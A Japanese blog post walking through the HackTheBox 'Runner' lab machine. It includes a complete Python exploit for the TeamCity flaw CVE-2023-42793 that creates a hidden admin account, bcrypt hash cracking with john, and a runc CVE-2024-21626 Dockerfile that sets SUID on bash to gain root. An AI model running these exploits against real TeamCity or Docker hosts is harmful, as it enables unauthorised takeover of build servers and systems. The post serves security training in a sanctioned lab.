0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Runner:Writeup

Posted at

概要

HackTheBox「Runner」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.13 -oN nmap_result
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Runner - CI/CD Specialists
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx/1.18.0
8000 nagios-nsca Nagios NSCA

/etc/hostsにドメインを追加します。

10.10.11.13     runner.htb

サブドメインを列挙します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.runner.htb" -u http://runner.htb -fs 154
teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 262ms]

teamcity.runner.htbを発見したので/etc/hostsに追記します。

10.10.11.13     runner.htb teamcity.runner.htb

teamcity.runner.htbへアクセスするとログインフォームが表示されました。

subdomain login form.jpg

teamcity 2023.05.3が使用されていると分かったのでexploitを検索すると、CVE-2023-42793がヒットしました。

PoCを作成し実行するとアカウント情報の改ざんに成功しました。

CVE-2023-42793 PoC
#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648
#- Exploit Author: ByteHunter
#- Vendor: JetBrains
#- Email: 0xByteHunter@proton.me
#- vendor: JetBrains
#- Version: versions before 2023.05.4
#- Tested on: 2023.05.3                      
#- CVE : CVE-2023-42793 

import requests
import argparse
import re
import random
import string
import subprocess  


banner = """
=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================
"""

print(banner)
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
args = parser.parse_args()

url = args.url

if url.startswith("http://"):
    curl_command = "curl -k"
else:
    curl_command = "curl"

get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
create_user_url = f"{url}/app/rest/users"

create_user_command = ""
token = ""

response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
    match = re.search(r'value="([^"]+)"', response.text)
    if match:
        token = match.group(1)
        print(f"Token: {token}") 
    else:
        print("Token not found in the response")

elif response.status_code == 404:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
elif response.status_code == 400:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    delete_output = delete_process.communicate()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")
else:
    print("Failed to get a token")

if token:
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
    username = f"city_admin{random_chars}"
    data = {
        "username": username,
        "password": "Main_password!!**",
        "email": "angry-admin@funnybunny.org",
        "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
    create_user_response = requests.post(create_user_url, headers=headers, json=data)
    if create_user_response.status_code == 200:
        print("Successfully exploited!")
        print(f"URL: {url}")
        print(f"Username: {username}")
        print("Password: Main_password!!**")
    else:
        print("Failed to create new admin user")

if args.verbose:
    if response.status_code == 400:
        pass
    else:
        print(f"Final curl command: {create_user_command}")

Username: city_adminKE2R,Password: Main_password!!**

$ python exploit.py -u http://teamcity.runner.htb -v                  

=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

Token: eyJ0eXAiOiAiVENWMiJ9.Njc5ek91eGRaTW9NdXZGNmdBSWJWUnZkN19B.NDNmYmIyNjItZTBmMC00ZTdmLTgwZWQtNGQ0MGI2ZTkzNjFk
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminKE2R
Password: Main_password!!**
Final curl command: curl -k --path-as-is -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.Njc5ek91eGRaTW9NdXZGNmdBSWJWUnZkN19B.NDNmYmIyNjItZTBmMC00ZTdmLTgwZWQtNGQ0MGI2ZTkzNjFk" -X POST http://teamcity.runner.htb/app/rest/users -H "Content-Type: application/json" --data '{"username": "city_adminKE2R", "password": "theSecretPass!", "email": "nest@nest", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}'

ログインに成功しました。

teamcity login.jpg

/admin/admin.html?item=backupにアクセスし、Backup scopeCustomすべてにチェックを入れStart Backupボタンからバックアップを作成します。

take backup.jpg

バックアップ作成後、表示されたURLにアクセスし圧縮ファイルをダウンロードします。

get backup file.jpg

TeamCityではアップロードされたSSH鍵を<TeamCity Data Directory>/config/projects/<project>/pluginData/ssh_keysに保存します。

ダウンロードしたバックアップファイルを解凍し中身を見るとSSHの秘密鍵が見つかりました。

$ ls -la config/projects/AllProjects/pluginData/ssh_keys/id_rsa 
---------- 1 kali kali 2590 Feb 28 19:56 config/projects/AllProjects/pluginData/ssh_keys/id_rsa

database_dump/usersからユーザー一覧を見つけることが出来ました。

ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1724697919644, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, city_adminke2r, $2a$07$KP6CSZlKHJk10g5IwEM8M.tjy3/UTkn00./BenM1.nOElRensG2i2, , angry-admin@funnybunny.org, 1724696521951, BCRYPT
12, city_adminszqk, $2a$07$cdHSLv5HixonoFXuAJxKe.Lok7snajz87tte9plqsqHy/GNXLqtJ6, , angry-admin@funnybunny.org, , BCRYPT

ハッシュ値がBcryptで作成されたことが分かったので、matthewのハッシュ値を解析します。

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt

パスワードが判明しました。

piper123         (?)

しかし、matthewアカウントではSSH接続に失敗しました。

$ ssh -i config/projects/AllProjects/pluginData/ssh_keys/id_rsa matthew@10.10.11.13
matthew@10.10.11.13's password: 
Permission denied, please try again.

ユーザー名はSSHの秘密鍵から取得できました。
鍵の内容をbase64でデコードして16進数で表示するとユーザー名がわかりました。

$ cat hash_test.txt | base64 -d | xxd
00000730: c73d cf67 9c81 9b00 0000 0b6a 6f68 6e40  .=.g.......john@
00000740: 7275 6e6e 6572                           runner

johnアカウントでSSH接続に成功しました。

$ ssh -i config/projects/AllProjects/pluginData/ssh_keys/id_rsa john@10.10.11.13
john@runner:~$

/home/john/user.txtからユーザーフラグを入手できました。

/home/john/user.txt
50e0184a38f7cc2b29cc72c45e99fa49

Root Flag

linpeasを実行します。
portainer-administration.runner.htbドメインを発見しました。

╔══════════╣ Hostname, hosts and DNS
runner                                                                                                                        
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb

/etc/hostsに追記し、80番ポートにアクセスします。

portainer.jpg

既に判明しているUsername: matthew,Password: piper123の認証情報を利用してログインに成功しました。

portainer_login.jpg

runCのバージョンを確認します。

$ runc --version
runc version 1.1.7-0ubuntu1~22.04.1
spec: 1.0.2-dev
go: go1.18.1
libseccomp: 2.5.3

runc 1.1.7の脆弱性を検索するとCVE-2024-21626がヒットしました。

PoCを見るとdockerコマンドでexploitを実行できますが、johnには権限がないためportainer-administration.runner.htbを経由して権限昇格を試みる必要があります。

john@runner:~$ docker image ls
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied

PoCはMetasploitモジュールを参考にします。

# create directory to write all our files to
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(dir)
register_dirs_for_cleanup(dir)

# Upload payload executable
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)

# write docker file
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )
write_file("#{dir}/Dockerfile", dockerfile)
register_file_for_cleanup("#{dir}/Dockerfile")

print_status('Building from Dockerfile to set our payload permissions')
output = cmd_exec "cd #{dir} && docker build ."

上記のモジュール内では下記のことを実行しています。

  • ファイルを書き込むディレクトリの作成
  • 作成したディレクトリにMetasploitのペイロードをコピー
  • WORKDIR/proc/self/fd/8に設定し、既存のイメージを使用するDockerfileの作成
  • DockerfileでRUN命令を使用し、cd ../../../../../../../../ && chmod -R 777 tmp/exploit && chown -R root:root tmp/exploit && chmod u+s tmp/exploit/bashを実行
  • このコマンドによりBashにSUIDが設定され、権限昇格が可能になる

SSHのコンソール上で/bin/bash/tmp/exploitにコピーします。

$ mkdir -p /tmp/exploit
$ cp /bin/bash /tmp/exploit/bash
$ ls -la /tmp/exploit/
total 1372
drwxrwxr-x 2 john john    4096 Aug 27 13:15 .
drwxrwxrwt 8 root root    4096 Aug 27 13:15 ..
-rwxr-xr-x 1 john john 1396520 Aug 27 13:15 bash

portainerに戻り、Images -> Build a new imagesボタンからDockerfileを編集します。

FROM ubuntu:latest
    WORKDIR /proc/self/fd/8
    RUN cd ../../../../../../../../ && chmod -R 777 tmp/exploit && chown -R root:root tmp/exploit && chmod u+s tmp/exploit/bash

edit docker file.jpg

編集後、一番下のBuild the imageボタンをクリックしイメージをビルドします。

build image outpuy.jpg

ビルドに成功するとDockerfileに記述した命令が実行され/tmp/exploit/bashにSUIDが設定されます。

$ ls -la /tmp/exploit/
total 1372
drwxrwxrwx 2 root root    4096 Aug 27 13:15 .
drwxrwxrwt 8 root root    4096 Aug 27 13:15 ..
-rwsrwxrwx 1 root root 1396520 Aug 27 13:15 bash

/tmp/exploit/bashを実行してrootのシェルを取得できました。

$ /tmp/exploit/bash -p
bash-5.1# whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
8ef055ce749f48bda2095767c3503f7b
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?